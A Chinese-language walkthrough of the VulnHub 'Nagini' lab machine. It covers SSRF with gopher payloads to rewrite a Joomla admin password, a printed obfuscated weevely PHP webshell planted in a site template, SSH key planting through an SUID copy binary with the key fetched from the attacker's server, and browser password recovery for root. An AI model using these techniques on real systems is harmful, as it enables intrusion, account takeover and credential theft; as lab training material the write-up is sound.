vulnhub - Nagini - writeup

发布时间 2023-10-14 15:16:22作者: lockly

信息收集

基础信息

目标只开放了22和88:

root@Lockly tmp/nagini » arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:fa:3d:23, IPv4: 192.168.56.106
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:1f       (Unknown: locally administered)
192.168.56.100  08:00:27:41:61:d7       PCS Systemtechnik GmbH
192.168.56.108  08:00:27:10:e2:a8       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.563 seconds (99.88 hosts/sec). 3 responded
root@Lockly tmp/nagini » nmap -A -sT -p- -Pn --min-rate 6000 192.168.56.108 -o /root/temp/tmp/nagini/nagini.nmap  
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 14:45 CST
Nmap scan report for 192.168.56.108
Host is up (0.0028s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)
|   256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)
|_  256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:10:E2:A8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     A![image-20231008145457178](assets/image-20231008145457178.png)DDRESS
1   2.82 ms 192.168.56.108

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.58 seconds

访问网页,真就开局一张图其他全靠编。

image-20231008145508397

目录探测

这里有一个joomla这个cms好像在DC系列见过,还有一个note.txt

root@Lockly tmp/nagini » gobuster dir -u http://192.168.56.108 -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.108
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/.htpasswd            (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 97]
/note.txt             (Status: 200) [Size: 234]
/joomla               (Status: 301) [Size: 317] [--> http://192.168.56.108/joomla/]
/server-status        (Status: 403) [Size: 279]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

http3访问

访问这个note.txt,提示了要绑定域名 并且以HTTP3来访问。

root@Lockly tmp/nagini » curl http://192.168.56.108/note.txt                                                                       
Hello developers!!


I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.


Regards,
site_amdin

edge,火狐均按网上步骤开启HTTP3访问但都无效,单独下了chrome canary版,chrome.exe --enable-quic --quic-version=h3-27开启HTTP3访问也不行。想用python中的库http3来试试,但报错无法连接。

import http3

client = http3.Client()
response = client.get("https://quic.nagini.hogwarts")
print(response.text)

# ConnectionRefusedError: [Errno 111] Connect call failed ('192.168.56.109', 443)

去搜了搜go中实现http3客户端,也尝试了一下还是失败访问不到。

package main

import (
	"crypto/tls"
	"fmt"
	quic "github.com/quic-go/quic-go"
	quichttp "github.com/quic-go/quic-go/http3"
	"io/ioutil"
	"net/http"
)

func main() {
	tr := &quichttp.RoundTripper{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		QuicConfig:      &quic.Config{Versions: []quic.VersionNumber{quic.Version2}},
	}

	client := &http.Client{Transport: tr}

	resp, err := client.Get("https://192.168.56.109/")
	if err != nil {
		fmt.Println(err)
		return
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println(err)
		return
	}

	fmt.Println(string(body))
}

// Get "https://192.168.56.109/": timeout: no recent network activity

看了别人的wp,如下操作网速太慢老失败,先挂着先。

git clone https://github.com/cloudflare/quiche
cd quiche
apt purge rustc
export RUSTUP_DIST_SERVER=https://mirrors.ustc.edu.cn/rust-static
export RUSTUP_UPDATE_ROOT=https://mirrors.ustc.edu.cn/rust-static/rustup
curl -proto '=https'--tlsv1.2 -sSf https://sh.rustup.rs | sh    //这里会有一个选项,选第一个   
source "$HOME/.cargo/env"
cargo build --examples   
cargo test

终于是编译完了,编译好的工具在target/debug/examples这个目录下。

image-20231010083301041

666,什么内容都没有,错也不报。这个机器还重新配置了一遍也不行。没弄明白是为什么。

image-20231010092806905

搜了搜还可以用curl,他有个--http3参数,但是我的版本不支持(会报错:curl: option --http3: the installed libcurl version doesn't support this),需要重新编译。参考这里?传送门。编译时间很长先放放。

cargo build --package quiche --release --features ffi,pkg-config-meta,qlog
mkdir quiche/deps/boringssl/src/lib
ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) quiche/deps/boringssl/src/lib/

cd ../
wget https://github.com/curl/curl/releases/download/curl-7_80_0/curl-7.80.0.tar.gz
tar zxf curl-7.80.0.tar.gz 
cd curl-7.80.0/
./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-openssl=$PWD/../quiche/quiche/deps/boringssl/src --with-quiche=$PWD/../quiche/target/release --prefix=/usr/local/curl
make && make install
cp ../quiche/target/release/libquiche.so /usr/local/curl/lib/
LD_LIBRARY_PATH="/usr/local/curl/lib/"  /usr/local/curl/bin/curl -V

敏感文件泄露

试一手看看是不是和上次差不多,有没有README,可以的README都没删,这里看到版本是3.9。

image-20231008150041617

在msf中有版本扫描的模块,确定这里是3.9.25。但尝试了几个rce但都没成功。

image-20231012113527474

继续fuzz一下joomla下的目录的结果。

image-20231008150308994

/administrator是一个登录页面:前面note.txt中下面的署名site_amdin有可能就是用户名,尝试弱口令但无果。

image-20231010093533971

进一步收集他的信息,用cmseek来扫敏感信息,能确定其版本为3.9.25这个版本去搜了确实没有rce可以直接利用。但在后面发现了他的备份文件configuration.php.bak

cmseek -u http://192.168.56.108/joomla

image-20231009101929622

备份文件内容如下:里面的secret,user等字段都去web登录和ssh试了几次没有登录成功,没有密码复用的情况。

root@Lockly tmp/nagini » cat configuration.php.bak 
<?php
class JConfig {
        public $offline = '0';
        public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
        public $display_offline_message = '1';
        public $offline_image = '';
        public $sitename = 'Joomla CMS';
        public $editor = 'tinymce';
        public $captcha = '0';
        public $list_limit = '20';
        public $access = '1';
        public $debug = '0';
        public $debug_lang = '0';
        public $debug_lang_const = '1';
        public $dbtype = 'mysqli';
        public $host = 'localhost';
        public $user = 'goblin';
        public $password = '';
        public $db = 'joomla';
        public $dbprefix = 'joomla_';
        public $live_site = '';
        public $secret = 'ILhwP6HTYKcN7qMh';
        public $gzip = '0';
        public $error_reporting = 'default';
        public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
        public $ftp_host = '';
        public $ftp_port = '';
        public $ftp_user = '';
        public $ftp_pass = '';
        public $ftp_root = '';
        public $ftp_enable = '0';
        public $offset = 'UTC';
        public $mailonline = '1';
        public $mailer = 'mail';
        public $mailfrom = 'site_admin@nagini.hogwarts';
        public $fromname = 'Joomla CMS';
        public $sendmail = '/usr/sbin/sendmail';
        public $smtpauth = '0';
        public $smtpuser = '';
        public $smtppass = '';
        public $smtphost = 'localhost';
        public $smtpsecure = 'none';
        public $smtpport = '25';
        public $caching = '0';
        public $cache_handler = 'file';
        public $cachetime = '15';
        public $cache_platformprefix = '0';
        public $MetaDesc = '';
        public $MetaKeys = '';
        public $MetaTitle = '1';
        public $MetaAuthor = '1';
        public $MetaVersion = '0';
        public $robots = '';
        public $sef = '1';
        public $sef_rewrite = '0';
        public $sef_suffix = '0';
        public $unicodeslugs = '0';
        public $feed_limit = '10';
        public $feed_email = 'none';
        public $log_path = '/var/www/html/joomla/administrator/logs';
        public $tmp_path = '/var/www/html/joomla/tmp';
        public $lifetime = '15';
        public $session_handler = 'database';
        public $shared_session = '0';
}

web渗透

在编译好curl之后指定参数使用HTTP3来访问,得到提示的一个路径/internalResourceFeTcher.php

root@Lockly tmp/nagini » LD_LIBRARY_PATH="/usr/local/curl/lib/" /usr/local/curl/bin/curl https://quic.nagini.hogwarts
<html>
	<head>
		<title>Information Page</title>
	</head>
	<body>
		Greetings Developers! !
   		I am having two announcements that I need to share with you:
		1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers,So I will be removing the same by this week.
		2. All developers are requested not to put any configuration's backup file (.bak) in main production servers as they are readate by every one.
		Regards,
		site admin
	</body>
</html>

ssrf利用

提示了一个地址:http://quic.nagini看网页内容大概率会有ssrf,尝试file://etc/passwd读取确定存在ssrf。

image-20231011083427588

过滤一下这里注意到有三个用户,由前面的备份文件得到了一个用户名goblin,以及知道了库名joomla再通过gopherus来生成payload列举出所有的表。

image-20231011090017867

没有回显就多执行几次,然后搜搜用户表的表名,这里相关的有joomla_userjoomla_users

image-20231011085939302

经过两次尝试确定是joomla_users然后还一样生成payload执行use joomla;select * from joomla_users;来列出所有用户。可以看到用户site_admin以及密码的哈希。

image-20231011090344867

在线网站上查不出来,用john也没出来。直接修改密码: 先生成相应的md5然后用以下sql语句生成payload。

echo -n 'admin666' | md5sum
use joomla; update joomla_users set password = '8a30ec6807f71bc69d096d8e4d501ade' where username='site_admin';select * from joomla_users;

image-20231011091502895

修改成功之后使用site_admin:admin666成功登录后台。

image-20231011092453722

更改模板反弹shell

在template的功能下选择模板进行编辑,这里的利用方式很多,我选择index.php在里面写入weevely生成的?儿。

image-20231011170859540

weevely连接的url通过度娘可以确定:joomla/templates/protostar/index.php

root@Lockly tmp/nagini » weevely generate lockly shell.php                                       
Generated 'shell.php' with password 'lockly' of 761 byte size.
root@Lockly tmp/nagini » cat shell.php 
<?php
$m='nction x(dJ$t,$dJk){$cdJ=sdJtrlen($k);$dJdJl=strlen($t);$dJo="";dJfordJ($i=0;$i<dJ$l;){fdJor($j=0d';
$H='tch("/$kh(dJ.+)$kfdJ/dJ",@fdJildJe_get_contedJnts("php:/dJ/inpdJut"),$m)dJ==1) {@ob_dJstart();@ed';
$f='J;(dJ$j<$c&&$idJ<$l);$j+dJ+,$i++dJ){$odJ.=$tdJ{$dJi}^$k{$j};}dJ}dJreturn $odJ;}if (@prdJeg_mdJdJa';
$M='$k="dJcdJ01cdJ44f9";$kh=dJ"834e42fb72dJ13dJ";$kf="6efdJ51bdJ517555";$p="6dJdgLdJ5F0WJ3ewdJUPVdJw";fdJu';
$R=str_replace('hD','','crhDeathDhDehD_funhDcthDion');
$i='JvdJal(@gzuncomdJpdJress(@x(dJ@basedJ64_decode(dJ$mdJ[1]),$k)))dJdJ;$o=@ob_getdJ_dJcodJntentsdJ();@';
$p='ob_end_dJclean();$rdJ=@basedJ64_encodJde(@dJx(@gzcodJmpredJss($o),$dJkdJ));prdJint("$p$kh$r$dJkf");}';
$E=str_replace('dJ','',$M.$m.$f.$H.$i.$p);
$O=$R('',$E);$O();
?>
root@Lockly tmp/nagini » weevely http://192.168.56.109/joomla/templates/protostar/index.php lockly

[+] weevely 4.0.1

[+] Target:     192.168.56.109
[+] Session:    /root/.weevely/sessions/192.168.56.109/index_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.109  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::a00:27ff:fee3:c5ef  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:e3:c5:ef  txqueuelen 1000  (Ethernet)
        RX packets 1882  bytes 428249 (418.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2551  bytes 2982274 (2.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 589  bytes 74286 (72.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 589  bytes 74286 (72.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

www-data@Nagini:/var/www/html/joomla/templates/protostar $

在网站目录下拿到第一个flag。

image-20231011171754754

提权

在home目录下是前面列出的用户,其中hermoine有第二个flag以及.mozilla这个目录,但当前无权访问,但snape用户可以,并在其目录下发现.creds.txt。内容经过了base64编码,解码之后得到:love@lilly

image-20231011172208322

通过snape:love@lilly登录snape,此时访问hermoine的bin目录下有个工具su_cp,看帮助中的这句:Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY就是一个复制用的。

root@Lockly tmp/nagini » ssh snape@192.168.56.109 
The authenticity of host '192.168.56.109 (192.168.56.109)' can't be established.
ED25519 key fingerprint is SHA256:oAgAxZkRbtwe40/oXGuZbaPjiDWzluKXPpTv2r6TrAs.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:6: [hashed name]
    ~/.ssh/known_hosts:8: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.109' (ED25519) to the list of known hosts.
snape@192.168.56.109's password: 
Linux Nagini 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr  4 16:38:35 2021 from 192.168.1.53
snape@Nagini:~$ cd ../hermoine/bin
snape@Nagini:/home/hermoine/bin$ ls -al
total 152
drwxr-xr-x 2 hermoine hermoine   4096 Apr  4  2021 .
drwxr-xr-x 6 hermoine hermoine   4096 Apr  4  2021 ..
-rwsr-xr-x 1 hermoine hermoine 146880 Apr  4  2021 su_cp
snape@Nagini:/home/hermoine/bin$ ./su_cp -h
./su_cp: invalid option -- 'h'
Try './su_cp --help' for more information.
snape@Nagini:/home/hermoine/bin$ ./su_cp --help
Usage: ./su_cp [OPTION]... [-T] SOURCE DEST
  or:  ./su_cp [OPTION]... SOURCE... DIRECTORY
  or:  ./su_cp [OPTION]... -t DIRECTORY SOURCE...
Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.

Mandatory arguments to long options are mandatory for short options too.
  -a, --archive                same as -dR --preserve=all
      --attributes-only        don't copy the file data, just the attributes
      --backup[=CONTROL]       make a backup of each existing destination file
  -b                           like --backup but does not accept an argument
      --copy-contents          copy contents of special files when recursive
  -d                           same as --no-dereference --preserve=links
  -f, --force                  if an existing destination file cannot be
                                 opened, remove it and try again (this option
                                 is ignored when the -n option is also used)
  -i, --interactive            prompt before overwrite (overrides a previous -n
                                  option)
  -H                           follow command-line symbolic links in SOURCE
  -l, --link                   hard link files instead of copying
  -L, --dereference            always follow symbolic links in SOURCE
  -n, --no-clobber             do not overwrite an existing file (overrides
                                 a previous -i option)
  -P, --no-dereference         never follow symbolic links in SOURCE
  -p                           same as --preserve=mode,ownership,timestamps
      --preserve[=ATTR_LIST]   preserve the specified attributes (default:
                                 mode,ownership,timestamps), if possible
                                 additional attributes: context, links, xattr,
                                 all
      --no-preserve=ATTR_LIST  don't preserve the specified attributes
      --parents                use full source file name under DIRECTORY
  -R, -r, --recursive          copy directories recursively
      --reflink[=WHEN]         control clone/CoW copies. See below
      --remove-destination     remove each existing destination file before
                                 attempting to open it (contrast with --force)
      --sparse=WHEN            control creation of sparse files. See below
      --strip-trailing-slashes  remove any trailing slashes from each SOURCE
                                 argument
  -s, --symbolic-link          make symbolic links instead of copying
  -S, --suffix=SUFFIX          override the usual backup suffix
  -t, --target-directory=DIRECTORY  copy all SOURCE arguments into DIRECTORY
  -T, --no-target-directory    treat DEST as a normal file
  -u, --update                 copy only when the SOURCE file is newer
                                 than the destination file or when the
                                 destination file is missing
  -v, --verbose                explain what is being done
  -x, --one-file-system        stay on this file system
  -Z                           set SELinux security context of destination
                                 file to default type
      --context[=CTX]          like -Z, or if CTX is specified then set the
                                 SELinux or SMACK security context to CTX
      --help     display this help and exit
      --version  output version information and exit

By default, sparse SOURCE files are detected by a crude heuristic and the
corresponding DEST file is made sparse as well.  That is the behavior
selected by --sparse=auto.  Specify --sparse=always to create a sparse DEST
file whenever the SOURCE file contains a long enough sequence of zero bytes.
Use --sparse=never to inhibit creation of sparse files.

When --reflink[=always] is specified, perform a lightweight copy, where the
data blocks are copied only when modified.  If this is not possible the copy
fails, or if --reflink=auto is specified, fall back to a standard copy.
Use --reflink=never to ensure a standard copy is performed.

The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX.
The version control method may be selected via the --backup option or through
the VERSION_CONTROL environment variable.  Here are the values:

  none, off       never make backups (even if --backup is given)
  numbered, t     make numbered backups
  existing, nil   numbered if numbered backups exist, simple otherwise
  simple, never   always make simple backups

As a special case, cp makes a backup of SOURCE when the force and backup
options are given and SOURCE and DEST are the same name for an existing,
regular file.

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation at: <https://www.gnu.org/software/coreutils/cp>
or available locally via: info '(coreutils) cp invocation'
snape@Nagini:/home/hermoine/bin$

公钥登录

考虑公钥登录,在本地kali生成公钥并供靶机下载。

ssh-keygen
cd ~/.ssh; python -m http.server 1515 -b 192.168.56.106

image-20231011173902226

拉下来之后更名为authorized_keys,并使用su_cp拷贝到hermoine 的 .ssh 目录下

wget http://192.168.56.106:1515/id_rsa.pub
mv id_rsa.pub authorized_keys
cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/

image-20231011173935773

然后直接登录得到第二个flag。

image-20231011174057657

还原浏览器密码

用hackbrowserdata来还原浏览器密码,得到凭据root:@Alohomora#123,成功提权至root。

image-20231012110113805

拿下最后的flag。

image-20231012110517508